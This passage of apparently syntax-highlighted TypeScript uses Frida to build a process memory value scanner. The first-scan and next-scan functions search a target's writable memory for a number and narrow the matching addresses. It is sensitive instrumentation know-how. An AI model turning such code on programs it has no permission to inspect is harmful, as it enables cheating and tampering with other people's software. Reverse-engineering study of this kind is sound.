class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003ecm\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nx\"\u003eCModule\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ecScannerCode\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003escan_region\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nx\"\u003eNativeFunction\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ecm\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003escan_region\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;pointer\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"s2\"\u003e\u0026#34;pointer\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"s2\"\u003e\u0026#34;size_t\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"s2\"\u003e\u0026#34;pointer\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"s2\"\u003e\u0026#34;pointer\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003efilter_scans\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nx\"\u003eNativeFunction\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ecm\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003efilter_scans\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;pointer\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"s2\"\u003e\u0026#34;pointer\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"s2\"\u003e\u0026#34;size_t\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"s2\"\u003e\u0026#34;pointer\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"s2\"\u003e\u0026#34;pointer\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003ecurrentScanResults\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"nx\"\u003eptr\u003c/span\u003e: \u003cspan class=\"kt\"\u003eNativePointer\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"nx\"\u003ecount\u003c/span\u003e: \u003cspan class=\"kt\"\u003enumber\u003c/span\u003e \u003cspan class=\"p\"\u003e}[]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003eoutCountPtr\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eMemory\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ealloc\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eProcess\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epointerSize\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003evaluePtr\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eMemory\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ealloc\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eProcess\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epointerSize\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eexport\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003efirstScan\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003evalue\u003c/span\u003e: \u003cspan class=\"kt\"\u003enumber\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003eDate\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003eranges\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eProcess\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eenumerateRanges\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;rw-\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003ecurrentScanResults\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003eranges\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eforEach\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"nx\"\u003erange\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003etry\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"nx\"\u003evaluePtr\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ewriteU32\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003enewResultsPtr\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003escan_region\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003erange\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ebase\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003erange\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003evaluePtr\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003eoutCountPtr\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eoutCountPtr\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ereadU32\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003enewResultsPtr\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eisNull\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003ecurrentScanResults\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epush\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e \u003cspan class=\"nx\"\u003eptr\u003c/span\u003e: \u003cspan class=\"kt\"\u003enewResultsPtr\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003ecount\u003c/span\u003e \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003ecatch\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003etotalCount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003ecurrentScanResults\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ereduce\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eacc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"nx\"\u003ecount\u003c/span\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nx\"\u003eacc\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"nx\"\u003ecount\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003econsole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"sb\"\u003e`First scan took \u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nb\"\u003eDate\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"nx\"\u003estart\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003ems, total addresses found: \u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003etotalCount\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e`\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eexport\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003enextScan\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003evalue\u003c/span\u003e: \u003cspan class=\"kt\"\u003enumber\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003eDate\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003enewResults\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"nx\"\u003eptr\u003c/span\u003e: \u003cspan class=\"kt\"\u003eNativePointer\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"nx\"\u003ecount\u003c/span\u003e: \u003cspan class=\"kt\"\u003enumber\u003c/span\u003e \u003cspan class=\"p\"\u003e}[]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003evaluePtr\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ewriteU32\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003ecurrentScanResults\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eforEach\u003c/span\u003e\u003cspan class=\"p\"\u003e(({\u003c/span\u003e \u003cspan class=\"nx\"\u003eptr\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003ecount\u003c/span\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003etry\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003efilteredPtr\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003efilter_scans\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eptr\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003ecount\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003evaluePtr\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eoutCountPtr\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003efilteredCount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eoutCountPtr\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ereadU32\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003efilteredCount\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003efilteredPtr\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eisNull\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003enewResults\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epush\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e \u003cspan class=\"nx\"\u003eptr\u003c/span\u003e: \u003cspan class=\"kt\"\u003efilteredPtr\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003ecount\u003c/span\u003e: \u003cspan class=\"kt\"\u003efilteredCount\u003c/span\u003e \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003ecatch\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003ecurrentScanResults\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003enewResults\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003etotalCount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003ecurrentScanResults\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ereduce\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eacc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"nx\"\u003ecount\u003c/span\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nx\"\u003eacc\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"nx\"\u003ecount\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003econsole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"sb\"\u003e`Next scan took \u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nb\"\u003eDate\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003enow\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"nx\"\u003estart\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003ems, total addresses found: \u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003etotalCount\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e`\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eexport\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003egetAddresses\u003c/span\u003e\u003cspan 